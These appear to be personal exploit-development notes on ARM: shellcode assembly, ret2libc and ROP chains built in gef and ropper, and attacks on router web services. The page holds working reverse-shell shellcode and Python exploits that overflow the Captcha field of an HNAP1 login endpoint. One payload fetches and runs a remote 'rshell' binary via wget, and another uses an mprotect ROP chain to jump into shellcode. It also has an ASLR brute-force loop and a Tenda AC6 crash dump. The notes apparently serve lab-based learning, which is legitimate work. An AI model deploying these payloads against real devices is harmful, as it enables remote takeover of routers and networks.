Skip to content

ARM

ARM

Shellcode

Converting ASM to shellcode:

#This outputs the full elf binary
arm-linux-gnueabi-as shell.s -o shell

#This just gets the shellcode part of the binary (Removed the elf header)
arm-linux-gnueabi-objcopy -O binary shell shell.bin

#Convert to hex 
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin > shell.hex

Examples

Simple execve("/bin/sh", NULL, NULL) Shellcode:

.section .text
.global _start

_start:
	.code 32           //Switch to Thumb Mode
	add r3, pc, #1
	bx r3

	.code 16           //Thumb Mode
	adr r0, binsh      //Set address to shell string
	eor r2, r2         //Set R2 to zero
	eor r1, r1         //Set R1 to zero
	strb r2, [r0, #7]  //Fix the X byte of the shelcode to a nullbyte
	mov r7, #11        //Set the syscall number to 11 execve
	svc #1             //Call Syscall

binsh:
.string "/bin/shX"

Simple Busybox execve("/bin/sh", ["/bin/sh"], NULL) Shellcode:

.section .text
.global _start

_start:
.arm                   //Switch to Thumb Mode
	add r3, pc, #1 
	bx r3

.thumb                 //Thumb Mode
	adr r0, binsh      //Set address to shell string
	eor r2, r2         //Set R2 to zero
	strb r2, [r0, #7]  //Fix the X byte of the shelcode to a nullbyte
	push {r0, r2}      //Push R0 and R2 on the stack creating an array of one element which is the binsh string
	mov r1, r1         //Nop to allign the code
	mov r1, sp         //Copy the stack pointer to r1
	mov r7, #11        //Set the syscall number to 11 execve
	svc #1             //Call Syscall

binsh:
.string "/bin/shX"

Simple Reverse Shell:

.section .text
.global _start

_start:
.arm                  //Switch to Thumb Mode
	add r3, pc, #1
	bx r3


socket:               //sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
.thumb
	eor r2, r2        // Set r2 to zero This is the IPPROTO_IP (0x00)
	adr r6, sockaddr  // Set address of sockaddr to set the AF_NET
	strb r2, [r6, #1] // Fix the 0xff byte of the shelcode to a nullbyte

	ldrb r0, [r6,#0]  // load the first byte of AF_INET from sockaddr into first argument

	mov r1, #1        // Setting SOCK_STREAM = 0x01

	mov r7, #255      //#281 can not be moved in a single instruction break into mov and add
	add r7, #26       //256+25 = 281
	svc #1            //Systemcall #281 for socket

	mov r8, r0        //save the return socket file descriptor (r0) to r8

connect:              //connect(sockfd, &addr, sizeof(addr))
.thumb
	mov r1, r6        //Copy sockaddr to r1

	strb r2, [r1, #6] // Fix the 0x01 byte of the ip address to a 0x00

	mov r2, #16       //Set sizeof addr
	add r7, #2        //Set connect syscall number(283) to 281+2
	svc #1            //Systemcall #283 for connect

dup2_1:
.thumb
	mov r0, r8        // Move the saved sockfd to arg0
	eor r1, r1        // Set arg1 to 0
	mov r7, #63       // Set syscall dup2
	svc #1            //Systemcall #63 for dup2

dup2_2:
.thumb
	mov r0, r8        // Move the saved sockfd to arg0
	add r1, #1        //Set arg1 to (0+1) = 1
	mov r7, #63       // Set syscall dup2
	svc #1            //Systemcall #63 for dup2

dup2_3:
.thumb
	mov r0, r8        // Move the saved sockfd to arg0
	add r1, #1        //Set arg1 to (1+1) =2
	mov r7, #63       // Set syscall dup2
	svc #1            //Systemcall #63 for dup2


execve:
.thumb
	adr r0, binsh     //Set address to shell string
	eor r2, r2        //Set R2 to zero
	eor r1, r1        //Set R1 to zero
	strb r2, [r0, #7] //Fix the X byte of the shelcode to a nullbyte
	mov r7, #11       //Set the syscall number to 11 execve
	svc #1            //Call Syscall


sockaddr:    
.ascii "\x02"         // AF_NET socket address family (2)
.ascii "\xff"         // Replace 0xff with 0x00
.ascii "\x11\x5c"     //Port number 4444
ip_addr:
.byte 192,168,1,254   //IP Address 
binsh:
.ascii "/bin/shX"

Ret2libc without NX

Show NX is disabled:

gef➤  vmmap
Start      End        Offset     Perm Path
0x00400000 0x00401000 0x00000000 r-x /home/user/challenges-day1/challenge1
0x00410000 0x00411000 0x00000000 r-x /home/user/challenges-day1/challenge1
0x00411000 0x00412000 0x00001000 rwx /home/user/challenges-day1/challenge1
0xbefdf000 0xbf000000 0x00000000 rwx [stack]

Getting Offset to PC

Creating a fuzzing Pattern:

gef➤  pattern create 2500
[+] Generating a pattern of 2500 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraab

Checking if Thumb mode is enabled:

gef➤  reg $cpsr
$cpsr: [NEGATIVE zero carry overflow interrupt fast THUMB]

Checking Offset for patterns:

#Check for ARM Pattern
gef➤  pattern search $pc 2500
[+] Searching '$pc'
[+] Found at offset 128 (little-endian search) likely
[+] Found at offset 704 (big-endian search) 
#Check for ARM pattern if in THUMB mode
gef➤  pattern search $pc+1 2500
[+] Searching '$pc+1'
[+] Found at offset 132 (little-endian search) likely
[+] Found at offset 804 (big-endian search) 

Generating the Exploit

The Ret2Libc is just to put the ARM processor into THUMB mode which makes it easier to do shellcode.

Exploit Template for Executable Stack:

#!/usr/bin/python
from struct import pack

libc = 0xb6ede000			#libc base address

#Shellcode for Reverse shell
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0b\xa1\x4a\x70\x0b\xa5\xaa\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"

payload = 'A'*132			# Padding until PC crashes
payload += pack('<I', libc + 0x8b29)	# Gadget address for `blx sp`
payload += shellcode

print payload

Ret2libc with NX

Show NX is enabled:

gef➤  vmmap
Start      End        Offset     Perm Path
0x00400000 0x00401000 0x00000000 r-x /home/user/challenges-day1/challenge2
0x00410000 0x00411000 0x00000000 r-- /home/user/challenges-day1/challenge2
0x00411000 0x00412000 0x00001000 rw- /home/user/challenges-day1/challenge2
0xb6ede000 0xb6fc0000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.27.so
0xb6fc0000 0xb6fd0000 0x000e2000 --- /lib/arm-linux-gnueabihf/libc-2.27.so
0xb6fd0000 0xb6fd2000 0x000e2000 r-- /lib/arm-linux-gnueabihf/libc-2.27.so
0xb6fd2000 0xb6fd3000 0x000e4000 rw- /lib/arm-linux-gnueabihf/libc-2.27.so
0xbefdf000 0xbf000000 0x00000000 rw- [stack]

Getting Offsets

Check for THUMB mode:

gef➤  registers  $cpsr
$cpsr: [NEGATIVE zero carry overflow interrupt fast THUMB]

Searching For offsets:

0x62616168 in ?? ()
gef➤  pattern search $pc+1
[+] Searching '$pc+1'
[+] Found at offset 132 (little-endian search) likely
[+] Found at offset 804 (big-endian search) 
gef➤  registers  $r4
$r4  : 0xbefff358    "raabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaacea[...]"
gef➤  pattern search $r4
[+] Searching '$r4'
[+] Found at offset 168 (little-endian search) likely

Generating Exploit

Setting up the registers and the Stack
- R0: Needs to point at "/bin/sh" string
- Since this is on the stack this can be done with a mov r0, sp
- Since r4 is also pointing to the stack at offset 168 we can use that also
- PC: Needs to point to the "system" function

Since there is no mov r0, sp gadgets we have to use something else. Since the r4 register also points into the stack on user controllable memory lets use that.

Finding the First Gadget:

user@Azeria-Lab-VM:~/Downloads/libc$ ropper --file ./libc-2.27.so --conosle
(libc-2.27.so/ELF/ARMTHUMB)> search /1/ mov r0, r4
[INFO] Searching for gadgets: mov r0, r4

[INFO] File: ./libc-2.27.so
0x0004ac26 (0x0004ac27): mov r0, r4; blx r1; 
0x0005658a (0x0005658b): mov r0, r4; blx r2; 
0x000460cc (0x000460cd): mov r0, r4; blx r3; 
0x00017d1c (0x00017d1d): mov r0, r4; blx r5; 
0x0009e602 (0x0009e603): mov r0, r4; blx r6; 
0x0002f010 (0x0002f011): mov r0, r4; bx lr; 
0x000188a2 (0x000188a3): mov r0, r4; pop {r3, r4, r5, pc}; 
0x00022d94 (0x00022d95): mov r0, r4; pop {r3, r4, r5, r6, r7, pc}; 
0x00024d78 (0x00024d79): mov r0, r4; pop {r4, pc}; 
0x00047b48 (0x00047b49): mov r0, r4; pop {r4, r5, r6, pc}; 

Finding the system address:

user@Azeria-Lab-VM:~/Downloads/libc$ readelf -a libc-2.27.so  | grep system
   234: 000b9645    76 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.4
   604: 0002d48d    28 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1386: 0002d48d    28 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.4

Putting it all together:

#!/usr/bin/python
from struct import pack

#Get the libc base address from vmmap
#Make sure it is an executable mapped memory region
libc = 0xb6ede000

#Padding from the pattern search
payload = 'A'*132			# Padding for PC crash

#Get the first Gadget
#The first address is ARM mode. The second is THUMB mode
#0x00024d78 (0x00024d79): mov r0, r4; pop {r4, pc}; 
#This will move the r4 pointer that points into the stack into r0 which is needed for the system call
payload += pack('<I', libc + 0x00024d79)	# First gadget

#More padding because the Gadget also pops memory from the stack into the r4 register overwriting it.
payload += 'B'*4

#This is the system address which will be the Program Counter Register.
payload += pack('<I', libc + 0x0002d48d)

#More padding to get the initial r4 register to point to the "/bin/sh" string
#r4 is at offset 168 and the original padding is to 132.
# 168 = (132 padding) + (4 first gadget) + (4 possible second gadget 'BBBB') + (4 system address) + (24 padding)
payload += 'C'*24
payload += "/bin/sh"

print payload

Inital Crash

Inital Crash Request:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/Login"
HNAP_AUTH: 288B3767E109993D86204D579BD65CC8 1436839665
X-Requested-With: XMLHttpRequest
Content-Length: 400
Connection: close
Referer: http://192.168.0.1/info/Login.html
Cookie: uid=Dttnaq0cl8

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaam</Captcha></Login></soap:Body></soap:Envelope>

Initial Crash Information:

───────────────────────────────────────────────────────────────[ registers ]────
$r0   : 0xbeffecdc    "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$r1   : 0xbefff0f0    "laakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxa[...]"
$r2   : 0x0       
$r3   : 0x2a614e43 ("CNa*"?)
$r4   : 0x4007b4f8    0x0006d440
$r5   : 0xbefffb54    0xbefffc8c    "/usr/sbin/hnap"
$r6   : 0x2       
$r7   : 0xbefffc8c    "/usr/sbin/hnap"
$r8   : 0x9324         mov r12,  sp
$r9   : 0x9944         push {r11,  lr}
$r10  : 0xbefffac8    0x00000000
$r11  : 0xbefff0f4    "maaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakya[...]"
$r12  : 0x6d      
$sp   : 0xbeffe4c8    0x00000000
$lr   : 0x19804        movw r3,  #64492    ; 0xfbec
$pc   : 0x19820        strb r2,  [r3]
$cpsr : [negative ZERO CARRY overflow interrupt fast thumb]
───────────────────────────────────────────────────────────────────[ stack ]────
0xbeffe4c8│+0x00: 0x00000000      $sp
0xbeffe4cc│+0x04: 0xbefff400    0x00000000
0xbeffe4d0│+0x08: 0x0002c4d8    "Captcha"
0xbeffe4d4│+0x0c: 0x00039730    "<?xml version="1.0" encoding="utf-8"?><soap:Envelo[...]"
0xbeffe4d8│+0x10: 0x00000000
0xbeffe4dc│+0x14: "</Captcha>"
0xbeffe4e0│+0x18: "ptcha>"
0xbeffe4e4│+0x1c: 0x77003e61 ("a>"?)
────────────────────────────────────────────────────────────────[ code:arm ]────
	  0x19814                  add    r2,  r1,  r2
	  0x19818                  add    r3,  r2,  r3
	  0x1981c                  mov    r2,  #0
     0x19820                  strb   r2,  [r3]
	  0x19824                  sub    r3,  r11,  #1040  ; 0x410
	  0x19828                  sub    r3,  r3,  #4
	  0x1982c                  sub    r3,  r3,  #4
	  0x19830                  ldr    r0,  [r11,  #-3112]   ; 0xfffff3d8
	  0x19834                  mov    r1,  r3
─────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "hnap", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x19820 → strb r2,  [r3]
[#1] 0x19804 → movw r3,  #64492 ; 0xfbec
────────────────────────────────────────────────────────────────────────────────
0x00019820 in ?? ()

Set a breakpoint before the Crash:

gef➤  b *0x19810
Note: breakpoint 1 also set at pc 0x19810.
Breakpoint 2 at 0x19810
gef➤  set follow-fork-mode child 
gef➤  c

Find padding offset for Crash:

gef➤  pattern search $r2
[+] Searching '$r2'
[+] Found at offset 640 (big-endian search) 

Finding the PC Offset

Inital PoC for finding the PC Offset:

#!/usr/bin/python
import urllib2
from struct import pack

opener = urllib2.build_opener()

libc = 0x4000e000           # libc base address

#Initial Padding for Out of bounds read Crash
payload = "A"*1024

#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)

#Pattern for PC offset
payload += "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"

xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload



req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
					  data=xml_data,
					  headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
				'Content-Type': 'text/xml'})
try:
	f = urllib2.urlopen(req)
except:
	pass

Getting the offset from gef:

gef➤  pattern offset $pc
[+] Searching '$pc'
[+] Found at offset 20 (little-endian search) likely

Final Exploit with correct PC offset:

#!/usr/bin/python
import urllib2
from struct import pack

opener = urllib2.build_opener()

libc = 0x4000e000           # libc base address

#Initial Padding for Out of bounds read Crash
payload = "A"*1024

#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)

#Padding inbetween the OoB Read Crash and the PC
payload += "B"*20

#Program Counter
payload += "CCCC"

xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload



req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
					  data=xml_data,
					  headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
				'Content-Type': 'text/xml'})
try:
	f = urllib2.urlopen(req)
except:
	pass

Bypassing NX with ROP (system)

Find the System Address in a new lib:

user@Azeria-Lab-VM:~/Downloads/libc$ readelf -a libuClibc-0.9.32.1.so  | grep system
   433: 0005a270   348 FUNC    WEAK   DEFAULT    7 system
   904: 00047b38    80 FUNC    GLOBAL DEFAULT    7 svcerr_systemerr
  1394: 0005a270   348 FUNC    GLOBAL DEFAULT    7 __libc_system

Search for a Gadget to set r0 to the stack pointer:

user@Azeria-Lab-VM:~/Downloads/libc$ ropper -f libuClibc-0.9.32.1.so --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libuClibc-0.9.32.1.so/ELF/ARM)> search /1/ mov r0, sp
0x00040cb8: mov r0, sp; blx r3; 

Search for a Gadget to pop a value into r3:

(libuClibc-0.9.32.1.so/ELF/ARM)> search /1/ pop %r3%
[INFO] Searching for gadgets: pop %r3%

[INFO] File: ../libc/libuClibc-0.9.32.1.so
0x00033e48: pop {r0, r1, r2, r3, r4, pc}; 
0x00019744: pop {r0, r1, r2, r3, r4, r5, r6, pc}; 
0x0003224c: pop {r0, r1, r2, r3, r4, r5, r7, pc}; 
0x00015f0c: pop {r1, r2, r3, pc}; 
0x00016654: pop {r1, r2, r3, r4, r5, pc}; 
0x00034ae4: pop {r1, r2, r3, r4, r5, pc}; bx lr; 
0x00014e40: pop {r1, r2, r3, r4, r5, r6, r7, pc}; 
0x000169a0: pop {r2, r3, r4, pc}; 
0x00041244: pop {r2, r3, r4, r5, r6, pc}; 
0x00016ae8: pop {r2, r3, r4, r5, r7, pc}; 
0x0005b014: pop {r2, r3}; bx lr; 
0x00018298: pop {r3, pc}; 
0x00042098: pop {r3, pc}; bx lr; 
0x0001719c: pop {r3, r4, r5, pc}; 
0x00015d40: pop {r3, r4, r5, r6, r7, pc}; 
0x000153c8: pop {r3, r4, r7, pc}; 

Final Exploit with correct PC offset:

#!/usr/bin/python
import urllib2
from struct import pack

opener = urllib2.build_opener()

libc = 0x4000e000           # libc base address

#Initial Padding for Out of bounds read Crash
payload = "A"*1024

#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)

#Padding inbetween the OoB Read Crash and the PC
payload += "B"*20

# First Gadget 0x00018298: pop {r3, pc};
#This will set up a value that we can put in to r3
payload += pack('<I', libc + 0x00018298) 

#This is the value that we will load into r3
#This is the address for the system function
payload += pack('<I', libc + 0x0005a270) # System address

#This is the second Gadget this will set r0 to the sp.
# Then will branch into the r3 which we set in the first Gadget to the system address
# Second Gadget 0x00040cb8: mov r0, sp; blx r3;
payload += pack('<I', libc + 0x00040cb8) 
# When blx is executed r0 will point here
payload += "wget http://192.168.0.254/rshell -O /tmp/rshell && chmod +x /tmp/rshell && /tmp/rshell"


xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload

req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
					  data=xml_data,
					  headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
				'Content-Type': 'text/xml'})
try:
	f = urllib2.urlopen(req)
except:
	pass

ASLR Bruteforce

Turn on ASLR:

sudo sh -c "echo 1 > /proc/sys/kernel/randomize_va_space"

Brute-forcing is possible since there is only 3 bytes of random so 4095 random positions.
ASLR Offsets:

$ while true; do ldd ./backup; done | grep libc 
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d25000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5d000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d29000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf0000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7dc3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d98000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd0000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cfc000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d4a000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d1e000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d0f000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d72000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce8000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cff000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7a000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7b000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d93000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d56000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5c000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7da9000)

Bruteforce running the script many times:

COUNTER=0; while true; do COUNTER=$(($COUNTER+1)); echo Attempt No. $COUNTER; python ~/DIR-exploits/dir-ret2libc-done.py; sleep 1; done

ROP with mprotect

This wont work with ASLR on since there are some hardcoded stack values in here

Mprotect Payload:

#!/usr/bin/python

import urllib2
from struct import pack

opener = urllib2.build_opener()

#base address from 
libc = 0x4000e000

#shellcode for Reverse Shell Busybox version
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0d\xa1\x4a\x70\x0d\xa5\xaa\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"

#Initial Padding for Out of bounds read Crash
payload = "A"*1024

#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload += pack('<I',0xFFFFFFFF)

#Padding inbetween the OoB Read Crash and the PC
payload += "B"*20

# Setup Trap for lr
# This sets the lr register to the next gadget on the stack
payload += pack('<I', libc + 0x00043330 ) # 0x00043330: pop {lr}; add sp, sp, #8; bx lr; 

# The lr register is now set to this next function: pop {r4, pc}; and not changed
payload += pack('<I', libc + 0x0002d350) # 0x0002d350: pop {r4, pc};
payload += 'PPPP' #Padding from add sp, sp, #8
payload += 'PPPP' #Padding from add sp, sp, #8
payload += 'TTTT' #Garbage R4 value from trap function

# Prepare R2 with the RWX value 0x7 using addition or subtraction

payload += pack('<I', libc + 0x00015f0c) # First R2=0x7 Gadget -> 0x00015f0c: pop {r1, r2, r3, pc}; 
payload += pack('<I', 0x11111111) # First large R1 value
payload += pack('<I', 0xEEEEEEF6) # Second large R2 value
#0x11111111 + 0xEEEEEEF6 = 0x100000007
#This next part wont work with ASLR on
payload += pack('<I', 0xbefff258) #R3 stack value 0xbefd0110

payload += pack('<I', libc + 0x00059f3c) # Second Gadget -> 0x00059f3c: add r2, r2, r1; str r2, [r3]; pop {r3, pc};
#This next part wont work with ASLR on
payload += pack('<I', 0xbefff258)  # Reset R3 Stack Value


#Next gadget
payload += pack('<I', libc + 0x0003db80) # Third Gadget -> 0x0003db80: pop {r0, pc}; 
payload += pack('<I', 0xfffff001) #0xfffff001 that will be used to get the page alignment This is poped in to the R0 register

payload += pack('<I', libc + 0x00040634) # Fourth Gadget -> 0x00040634: and r0, r3, r0; bx lr;
payload += 'EEEE' #garbage r4 from trap

payload += pack('<I', libc + 0x00016760) # 0x00016760 
# Mprotect address

payload += 'EEEE' # Garbage R4 from trap

payload += pack('<I', libc + 0x000061d5) #Last gadget for branch in to shellcode 0x000061d4 (0x000061d5): bx sp; 

# shellcode copy the hex string in the shellcode variable at the beginning of the script
payload += shellcode


xml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>""" % payload

req = urllib2.Request(url= "http://192.168.0.1/HNAP1/",
					  data=xml_data,
					  headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login',
				'Content-Type': 'text/xml'})
try:
	f = urllib2.urlopen(req)
except:
	pass

Attacking the Tenda AC6 Router

Initial Crash loading byte from r3:

gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$r0   : 0x41414141 ("AAAA"?)
$r1   : 0xd881c       "http://"
$r2   : 0xd881c       "http://"
$r3   : 0x41414141 ("AAAA"?)
$r4   : 0x68      
$r5   : 0x11bfa0      "/main.html"
$r6   : 0x1       
$r7   : 0xbefff89b    "httpd"
$r8   : 0xe994        <_init+0> mov r12,  sp
$r9   : 0x2e158        push {r4,  r11,  lr}
$r10  : 0xbefff708    0x00000000
$r11  : 0xbeffe80c    0x0003037c    <R7WebsSecurityHandler+5344> mov r3,  #0
$r12  : 0xfb0ac       0x4022993c    0xe92d4010
$sp   : 0xbeffe7d0    0x000fad1c    0x000fabd4    0x00000001
$lr   : 0x2d818        mov r3,  r0
$pc   : 0x40229954    0xe5d3c000
$cpsr : [negative zero CARRY overflow interrupt fast thumb]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xbeffe7d0│+0x00: 0x000fad1c    0x000fabd4    0x00000001    $sp
0xbeffe7d4│+0x04: 0x0002d818     mov r3,  r0
0xbeffe7d8│+0x08: 0x00000000
0xbeffe7dc│+0x0c: 0x00000000
0xbeffe7e0│+0x10: 0x00000001
0xbeffe7e4│+0x14: 0x0010cbbc    0x00000000
0xbeffe7e8│+0x18: 0x41414141
0xbeffe7ec│+0x1c: 0x0011aa20    0x0011ab28    "accept-encoding"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:arm ]────
   0x40229948                  ldrb   r4,  [r2]
   0x4022994c                  cmp    r4,  #0
   0x40229950                  popeq  {r4,  pc}
  0x40229954                  ldrb   r12,  [r3]
   0x40229958                  cmp    r4,  r12
   0x4022995c                  addeq  r2,  r2,  #1
   0x40229960                  addeq  r3,  r3,  #1
   0x40229964                  beq    0x40229948
   0x40229968                  cmp    r12,  #0
